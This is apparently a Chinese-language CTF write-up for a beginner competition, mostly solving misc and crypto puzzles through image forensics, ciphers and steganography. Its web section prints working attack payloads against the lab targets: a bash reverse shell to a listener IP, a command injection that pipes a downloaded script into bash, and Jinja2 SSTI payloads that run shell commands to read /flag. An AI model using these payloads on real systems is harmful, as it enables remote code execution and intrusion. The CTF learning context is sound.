为时一天多的新手赛一下子就结束了。感觉有很多东西值得写一写。这次比赛对于我来说是一个学习的过程,也是一个把各种想法实践的过程。其中有欢乐,也有遗憾。

Summary

这次比赛还是菜得真实,虽然按照计划交叉解题,但是停顿的却总是同一边。导致最后 Crypto 和 Misc 做了不少,但本应该写上一些的 Web 却没能写出来。这也是我觉得这次比赛很遗憾的原因之一。Crypto 和 Misc 这次倒是写了不少,但是依旧没有能够打穿(就差那么一点点,如果 tar.gz 我能找到思路的话也许就真的可以打通这次的 Misc 了。)不管怎么说,我觉得这次的比赛对我来说更像是一个快速学习的过程,限制时间的解题使得我快速摄取了很多东西,就这点上来说,名次反而是次要了。

Reflection

其实比赛结束之后心里还是挺难过的,毕竟感觉留下遗憾了。而且比赛的时候总是会越来越急躁,不停地看 Matrix,然后不停地去尝试,翻资料,换方法。特别是第一天比赛刚开始的时候,感觉特别难冷静地看题,签完到就点开了薛定谔。结果没冷静看的我完全没思路,一通乱怼,自然没结果。虽然时长和大家打趣说要善用搜索引擎,可是到了关键时候,自己却查不到某些东西,甚至连关键词的提取都能出错。再者,感觉题还是做少了,大部分时间都在做着一些类型差不多的题,但实际上还有很多很多没有见过的东西,这也导致在拿到一些题目的时候,几乎把标签页开炸了,每一个点都在用搜索引擎仔细检索。果然还是各种题目见得太少了,加上一部分的偏执,以及缺少尝试,常常是自己想着想着就把思路掐掉换另外一个了。而且做题的时候容易想当然,就有种“欸这个点我好像看过,应该是这样写的”的感觉,然后就会“没道理啊,怎么会呢?怎么会不对呢?”的感觉。所以,还是要仔仔细细多尝试,不要过于想当然,有的时候并不是想啥是啥。(何况我也没那水平QAQ)还是得慢慢地好好学,多看多写,这样才能有所改善

Ps. 事实证明,真的不要纠结一题,我卡在薛定谔卡了好久,然后今天发现了后面的一道简单题。(其实薛定谔也简单,我当时时间戳都解出来了,但是走错了思路,没去注意那个 check)QAQ

回过来想想,其实解题就像是生活,所有事情都不可能很急躁地办成,越到关键时刻越要冷静。就像某道睡醒了之后突然解出来的 Crypto 以及听了很久的开场曲。好好听,把每一个音对准了,才能拿到 flag;好好学,把每一个点摸透了,才能真正地胜利。

Write Up

挑食的小蛇

拿到题目首先审计了一波源码,因为 vi 没有高亮很难受,就 scp 传了一份到我服务器上然后下载下来审计,发现了如下代码。

1
2
3
4
5
6
7
8
9
10
11
// 奖励shell
if( score >= 30 && cnt > 2333){
GameState=0;
printf("\033c");
system("stty icanon"); // 恢复缓冲
system("stty echo"); // 恢复回显
printf("\033[?25h"); // 恢复鼠标显示
GiveAwards();
}
}
}

于是开始正经玩起了贪吃蛇(本来想改源码重新编译的,但远程没给 gcc 做不到),好在要求并不难,到达 3000 分也就是让蛇吃到 30 个块块之后原地转圈刷步数到 2333 然后游戏结束。然后 cat flag 就能拿到 flag。

1
写出来之后交了就忘了记flag

小姐姐

解压 xiaojiejie.zip 拿到图片之后用 binwalk 跑了一遍,发现就是一张普通图片,但是显示好像不太正常,有一部分断层了。于是放进 010editor 里面随手搜了一波 BJD 就找到了 flag。

1
BJD{haokanma_xjj}

A Beautiful Picture

拿到图之后发现是为数不多的 png,马上就想到了之前写过的修改图片高度的题型,但还是用了一手 stegsolve,当然并没有什么收获。注意到图片的宽度和高度呈现一种很奇怪的关系(1000x900 感觉真的很刻意)于是尝试把图片放到 010editor 里,把代表高度的 03 84 改成 03 E8 也就是 1000。保存后重新打开图片得到 flag。

1
BJD{PnG_He1ghT_1s_WR0ng}

最简单的MISC

拿到压缩包之后发现是加密的,于是放到 010editor 里按照伪加密的套路开始尝试,搜索常见的全局方式位标记的加密标记 14 00 09 00,一共找到两处,将它们改为 14 00 00 00 之后就过了伪加密,正常解压得到 secret。

将 secret 放入 010editor 里,由头部的 IHDR 和 尾部的 IEND 知道这是一张 png 图片。于是找一张正常的 png,复制 secret 丢失的部分,即 89 50 4E 47 0D 0A 1A 0A 00 00 00 00 0D 这一部分,将其相应得补充到 secret 的头部,保存后即可正常打开 secret 图片。得到一串 hex 42 4A 44 7B 79 31 6E 67 7A 75 69 73 68 75 61 69 7D 将其进行编码转换后可得flag。

1
BJD{y1ngzuishuai}

Imagin - 开场曲

这题首先从开始的画面中得知 Mikutap,接下来就是按键听音的过程,将所听到的音和按键一一对应。结合给出的 hint 得知数字的范围,然后慢慢听出 flag。(真好玩)

附上我听出来的按键顺序

1
BJD BJD MIKU TAP MIKU TAP 331 331 3 331 331 3
1
BJD{MIKUTAP3313313}

Real EasyBaBa

拿到显示不正常的图片之后,跑了一下 binwalk,发现依旧是普通图片。于是打开 010editor,有了前面小姐姐那题的经验,就想到 flag 应该是藏在文件本身的内容里。果然在打开之后发现有一个区段很奇怪,完全由 FF 00 这两个 hex 交替组成。一开始没看出什么,直到我尝试去读它们的轮廓,就发现了一些东西。(下面是那个区段 很想找个高亮来着 但是这样也差不多能看出来)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
FF FF FF 00 FF FF FF FF 00 FF FF 00 00 00 FF FF
FF 00 FF 00 00 00 FF 00 00 FF 00 FF 00 00 FF 00
FF 00 FF 00 00 00 FF 00 00 FF 00 FF 00 00 FF 00
FF FF 00 00 00 00 FF 00 00 FF 00 FF 00 FF 00 00
FF 00 FF 00 00 00 FF 00 00 FF 00 FF 00 00 FF 00
FF 00 FF 00 FF 00 FF 00 00 FF 00 FF 00 00 FF 00
FF FF FF 00 FF FF FF 00 00 FF FF 00 00 00 FF FF
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
FF FF FF 00 FF FF FF 00 FF FF FF 00 FF FF 00 00
FF 00 00 00 00 00 FF 00 00 00 FF 00 00 FF 00 00
FF FF FF 00 00 00 FF 00 FF FF FF 00 00 FF 00 00
00 00 FF 00 00 00 FF 00 FF 00 00 00 00 FF 00 00
FF FF FF 00 00 00 FF 00 FF FF FF 00 FF FF FF 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
FF FF FF 00 FF 00 FF 00 FF FF FF 00 FF FF FF 00
FF 00 00 00 FF 00 FF 00 FF 00 FF 00 00 00 FF 00
FF FF FF 00 FF FF FF 00 FF FF FF 00 00 00 FF 00
00 00 FF 00 00 00 FF 00 00 00 FF 00 00 00 FF 00
FF FF FF 00 00 00 FF 00 FF FF FF 00 00 00 FF 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
FF FF FF 00 FF FF 00 00 00 00 00 00 00 00 00 00
FF 00 00 00 00 FF 00 00 00 00 00 00 00 00 00 00
FF FF FF 00 00 FF 00 00 00 00 00 00 00 00 00 00
FF 00 FF 00 00 FF FF 00 00 00 00 00 00 00 00 00
FF 00 FF 00 00 FF 00 00 00 00 00 00 00 00 00 00
FF FF FF 00 00 FF 00 00 00 00 00 00 00 00 00 00
00 00 00 00 FF FF 00 63 DA E9 3C 36 B1 AA 93 59
1
BJD{572154976}

圣火昭昭

outguess

解压 zip 之后得到一张猫猫的图,查看图片属性,有一段密文。使用 新约佛论禅 这个站点的解密工具解密之后可以得到 key gemlovecom,根据 hint 修订为 gemlove

再根据题目提示的 guess,一番搜索之后找到了 GitHub 上的 outguess 工具。Clone、编译并安装之后根据用法写出下列指令从图片中分离到 flag。

1
outguess -k "gemlove" -r sheng_huo_zhao_zhao.jpg hidden

从 hidden 中得到 flag。

1
BJD{wdnmd_misc_1s_so_Fuck1ng_e@sy}

Easy Baba

下载到图片之后发现有 19M,果断跑了一波 binwalk,发现结果很奇怪,中间好像插入了什么。于是跑了一波 foremost,得到了一张图片和一个压缩包。压缩包解压后有一张 jpg 叫 里面都是出题人。但是这张图片无法打开,于是放进 010editor 中,由文件头部的 52 49 46 46 1C 7D 7D 02 41 56 49 20 这一段可知这是一个 avi 格式的视频文件,于是修正拓展名。根据题目 hint,将视频放进 Pr 中逐帧播放,在各出题人的图片上得到了三个二维码(其实应该还有一个?但是我得到这三个之后猜出来了)。将三个二维码截图之后放进 Ps 中,调整一下色阶然后反相,就能得到能够轻易扫出来的二维码。逐个扫描之后得到三段 hex。

1
2
3
6167696E5F6C
6F76655F59
316E677D

转换编码之后得到了一部分 flag agin_love_Y1ng} 根据题目的提示得知题目中的主角应该是 imagin 师傅,于是补全 flag。

1
BJD{imagin_love_Y1ng}

签到

简单的 Base64 编码转换,将题目所给字符串解码可得 flag。

1
BJD{W3lc0me_T0_BJDCTF}

燕言燕语

拿到题目的字符串之后观察可知这是一段 hex,编码转换之后得到明文 yanzi ZJQ{xilzv_iqssuhoc_suzjg}ZJQ BJD 这二者的对应关系应该算是提示,于是手算了一下,很容易发现,Z 往前移动 24 个位置得到 B,而 J 的位置没移动,Q 向前移动 13 个位置得到 D。而 24、0、13 的位置编号刚好对应当 A 为 0 时的字母编号。

1
2
3
4
5
y:24
a:0
n:13
z:25
i:8

根据上述的位置关系,循环使用 yanzi 作为解密的要素,将各个字符依次前移可以得到 flag。值得注意的是移动的时候要循环,即 Z 的后面又是 A。

1
BJD{yanzi_jiushige_shabi}

老文盲了

这题的附件是 rar,补全拓展名之后解压得到 old_illiterate.txt。打开之后得到难懂的中文,于是根据题目的 hint 去查了对应的拼音,得到 bì jí dì dà kuò hào zhè jiù shì fǔ lài gē zhí jiē jiāo lè bā dà kuò hào。根据这个提示把这段中文掐头去尾然后包上 flag 的固定格式得到 flag。

1
BJD{淛匶襫黼瀬鎶軄鶛驕鳓哵}

cat flag

拿到猫猫图片之后,八个猫猫一排,可以想到是二进制编码。于是把吃饭团的猫猫标记作 0,把吃鸡腿的猫猫标记作 1,得到如下编码。

1
2
3
4
5
6
7
8
9
10
01000010
01001010
01000100
01111011
01001101
00100001
01100001
00110000
01111110
01111101

转换编码后得到 flag。

1
BJD{M!a0~}

灵能精通

其实一开始我也不清楚,但是在诸多提示下,根据提示找到如下解密图片。

Templar Cipher

对应解密之后,可以得到 flag。
1
BJD{IMKNIGHTSTEMPLAR}

Y1nglish

这题我可喜欢了,下面我来分析一波。

首先根据提示得知这是一篇完全可读的英文文章,所以大小写不做特别区分。

再者,根据前面题目的经验,MIH 应该对应 BJD,因此得到 M => B、I => J、H => D。

Izcztkok 这个词在句子中首字母大写,因此它是一个名词,而 z 在名词前单独出现,I 对应的 J 是辅音音素的字母,因此,名词前的不定冠词应该是 a,因此,Z => A。

Q 字母在单独出现的时候从来没有小写过,且多位于句首,因此判定其是主语 I,因此 Q => I。

zd 出现在了冠词前,由 a 开头的二字母常用词有两个,as 和 at(因为没有 Q zd 的结构排除 am 这种可能)。但是观察到 pk qo 部分的半句,有两种情况,从句和普通句,但是因为除了 as 没有其他的二字母引导词(p 也不可能是 a),所以按普通句处理。因此, pk 应该是一个主语,而 qo 作为 i 开头的二字母谓语,就是 is 了,因此,O => S。所以 zd 不可能是 as,因此 D => T。

ds,以 t 字母开头的二字母常用单词只有 to,因此 S => O。

qt,排除了 is, it 这些二字母单词,剩下的以 i 开头的常用词就剩下 in 了。因此 T => N。

由前面的推断已知 pk 是个代词,所以 pk nzo 中的 nzo 一定是个谓语,结合上述的结果,可得这个单词是 was。所以 N => W。

med 后面出现了代词 pk 且出现在断句处,因此 med 是个连词,结合上述可得 med 是 but,因此 E => U。

能够构成 sef 这个结构的单词并不多,解出了前两个字母,只有 our, out 这两种可能,而 D => T,因此 sef 极大可能是 our,因此 F => R。

因为 qo 是 is,zth 是 and,所以,推测 usf 是个介词,以 or 结尾的三字母介词,极大可能是 for。因此 U => F。

vssh 出现在了冠词后,且其后还有一个词,紧接着是断句,因此它可能是个形容词,而以 _ood 结尾的形容词,极大可能是 good,因此,V => G。

ufsl 这个词出现在了两个名词中间,且解出几个字母为 fro_,很容易想到 L => M。

vkdo 出现在代词 Pk 后,因此考虑它是个谓语动词,结合解出来的几个字母,容易拼合出 gets,因此 K => E。因此,Pk 第三人称代词得到验证,Pk 是 He,因此,P => H。

mzoqa 中拼出大部分字母之后容易得出 A => C。

Qu wse 中的 Qu 拼出为 If,后面的 zfk 拼出为 are,所以句子缺少主语,推测为代词,以 _ou 结尾,因此得出 wse 是 you,因此,W => Y。

qo lzqtbw usf 拼出 is main_y for,容易得出 B => L。

dwcko 拼出 ty_es,容易得出 C => P。

进行到这里,筛选一下没有被匹配的字符,还剩下 KQVXZ 五个字符。

uqjk 拼出 fi_e,从上面选一个,拼出 five,因此,J => V。

剩下几个字母在文章中没有出现,先对照着把整篇文章解密再想办法。(下附解密文章[错误已更正])

1
2
Welcome to our competition. Our competition is mainly for freshmen and sophomores. There are five types of topics in this competition, each of which is very basic. If you are interested in network security, welcome to participate. Let me tell you a story.
I was having dinner at a restaurant when Harry Steele came in, he is a Japanese from Japan but now he is not living in Japan, maybe Harry isn't a Japanese name but he is really a Japanese. Harry worked in a lawyer's office years ago, but he is now working at a bank. He gets a good salary, but he always borrows money from his friends and never pays it back. Harry saw me and came and sat at the same table. He has never borrowed money from me. While he was eating, I asked him to lend me &2. To my surprise, he gave me the money immediately. 'I have never borrrowed any money from you,' Harry said,'so now you can pay for my dinner!' Now i will give you what you want.BJD{pyth0n_Brut3_f0rc3_oR_quipquip_AI_Cr4ck}

更正错误时,根据文意将 wory 改作 work,因此 Y => K。

flag 中的 geqc 解密作 quip 比较合理(善用搜索引擎,quipqiup - cryptoquip and cryptogram solver)因此,G => Q。

至此,文章和 flag 都已经解密完毕,下附对照表。(其中 R、X 因为没有出现,无法解出)

1
2
ABCDEFGHIJKLMNOPQRSTUVWXYZ
CLPTURQDJVEMBWSHI ONFGY KA
1
BJD{pyth0n_Brut3_f0rc3_oR_quipquip_AI_Cr4ck}

Schrödinger

Cookie

打开页面之后是一个“Login Fucker”。随手先 confirm 一个,然后看完一手说明去看了这个页面的源代码,找到了 test.php 这个页面,疯狂尝试注入然后看了一手页面源码发现根本没有可以回显的地方。 没错,比赛的时候试了很久注入才发现是个固定的 alert,然后就没思路了。

回到最开始的页面发现了有个 Cookie 很奇怪,复制下来 Base64 一顿怼之后可以发现是 user = 提交时间戳。 可能是平时奇怪的代码写多了,觉得这个并没有什么特别的,于是比赛时就放过它了。(就是这样卡了差不多一天)

其实应该是把 test.php 的 url confirm 进去,然后 document.cookie="dXNlcg=" 把这个 Cookie 置空再刷新就能达到 99%+ 的成功率,然后再 check 一下就能拿到下一步线索。

1
Burst successed! The passwd is av11664517@1583985203.

一看就知道是 Bilibili 的 av 号,找到对应视频再按时间戳找评论就能拿到 flag。

1
BJD{Quantum_Mechanics_really_Ez}

duangShell

Reverse Shell

打开页面之后根据提示拿到了 .index.php.swp 这个文件。比赛的时候踩了个坑,直接用 Windows 的记事本打开了,然后只拿到一半源码,结果根本审计不出来(少了最上面的一半 if ),当时还以为也是考点来着。正确的姿势应该是找个 vim 然后用 vim -r 恢复文件来拿到源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<body>
<center><h1>珍爱网</h1></center>
</body>
</html>
<?php
error_reporting(0);
echo "how can i give you source code? .swp?!"."<br>";
if (!isset($_POST['girl_friend'])) {
die("where is P3rh4ps's girl friend ???");
} else {
$girl = $_POST['girl_friend'];
if (preg_match('/\>|\\\/', $girl)) {
die('just girl');
} else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) {
echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->";
} else {
//duangShell~~~~
exec($girl);
}
}

稍微审计了一波,发现很多命令都直接滤掉了,但是题目叫 shell。于是搜了一波反弹shell,找到了这个。但是还少了一点东西,就是如何把反弹 shell 的命令传上去,这里找到了两条可行指令,但是靶机没得 wget,所以用 curl。首先把指令写在一个文件里,这里我写在 lemonshell.txt 中,内容如下。这里的端口和 IP 可以在终端中用 ifconfig 查询。

1
bash -i >& /dev/tcp/174.1.93.139/8210 0>&1

然后再用 nc -lvp 8210 监听 8210 端口。回到网页端,审计代码可以得出是要传入一个 girl_friend 的参数,其在一系列过滤之后被执行。所以 POST 参数可以这样写。

1
2
3
4
5
//When there is wget
girl_friend=wget –q –O 174.1.93.139/lemonshell.txt|bash

//When there is no wget, use curl
girl_friend=curl 174.1.93.139/lemonshell.txt|bash

如果成功了就能在监听端口的终端看到回显,大概像这样。

1
2
3
4
connect to [174.1.93.139] from 6005-d5c879a9-8350-4539-b26c-f102bcd90b88.1.8tv0l2tbgn7e5fs3p1k8rfnny.ctfd_swarm [174.1.93.128] 43370
bash: cannot set terminal process group (170): Not a tty
bash: no job control in this shell
bash-4.4$

然后就是找 flag 啦。首先一手 cat /flag 然后没有拿到 flag。于是开始 find / -name flag,一开始没有找到,因为一堆 Permission Denied 我以为没得。然后堆堆提醒我说 find 得等比较久。于是等了一会儿,find 返回了这个 /etc/demo/P3rh4ps/love/you/flag,于是顺利拿到 flag。

1
flag{ed2e8ade-b5d4-4164-8154-6432592a8466}

假猪套天下第一

Headers

一打开页面,一股精致的画风扑面而来(x 随手来了个账号密码登录,发现居然成了,到了 profile.php,然后看了一手源码,发现啥都没有,再看了一手 Cookie 也没有发现,请求头也没有东西。(陷入僵局)

想到浏览器没办法抓 302 啥的,就打开了 Fiddler,顺手抓了一波登录的包,在跳转页面的响应源码发现了点东西,出现了个 L0g1n.php。于是把它打开,页面提示错误,顺手看了波源码,发现要改 Cookie。照着前面的套路算了一下符合要求的时间的时间戳,用 document.cookie="time=4740774808" 改完之后刷新。跟着页面提示设置一系列 Header。

1
2
3
4
5
6
User-Agent: Contiki/1.0 (Commodore 64; http://dunkels.com/adam/contiki/)
Cookie: time=4740774808
via: y1ng.vip
from: root@gem-love.com
referer: gem-love.com
x-real-ip: 127.0.0.1

这样之后会得到 Sorry, even you are good at http header, you're still not my admin. Althoungh u found me, u still dont know where is flag 的提示,于是看了一波 Fiddler 上的响应,发现了一段注释。

1
<!--ZmxhZ3s1NmVjMTNmZS03Mzk1LTRlY2MtYmIxYS0zMmNjZTQ1NzNjZGZ9Cg==-->

将它 Base64 编码转换之后得到 flag。

1
flag{56ec13fe-7395-4ecc-bb1a-32cce4573cdf}

fake google

SSTI

打开页面之后随手输了个 P3,得到的结果是 P3's girlfirend is : P3。随手看了看网页源代码,发现了 hint <!--ssssssti & a little trick -->,然后尝试着构造了个 {{5 * 7}},得到了 35 的预期结果,然后再构造了个 {{6 * '7'}} 得到了 777777 的预期结果,所以应该是 Twig/Jinja2 类型的模板。

先构造一波参数找一下 flag 的位置,.../qaq?name={{ config.__class__.__init__.__globals__['os'].popen('find / -name flag').read() }},得到的返回值显示 flag 就在根目录。于是直接构造 cat /flag 就能得到 flag。

1
flag{39648fcb-2a51-47ac-b651-8aa0d5ddecef}

堆堆跟我说过这题还有个关键字过滤的精髓操作(可惜在 BUUCTF 上没作用了),于是我在这里模拟一下绕过过滤的操作,即将过滤的字符用其他字符替换,这里以 flag => LEMON 操作。我找到了一个很好用的替换指令:sed。因此,payload 可以这样写。

1
.../qaq?name={{ config.__class__.__init__.__globals__['os'].popen('cat /flag|sed "s/flag/LEMON/g"').read() }}

得到的 flag 会变成这样,就解决了过滤的问题。

1
LEMON{39648fcb-2a51-47ac-b651-8aa0d5ddecef}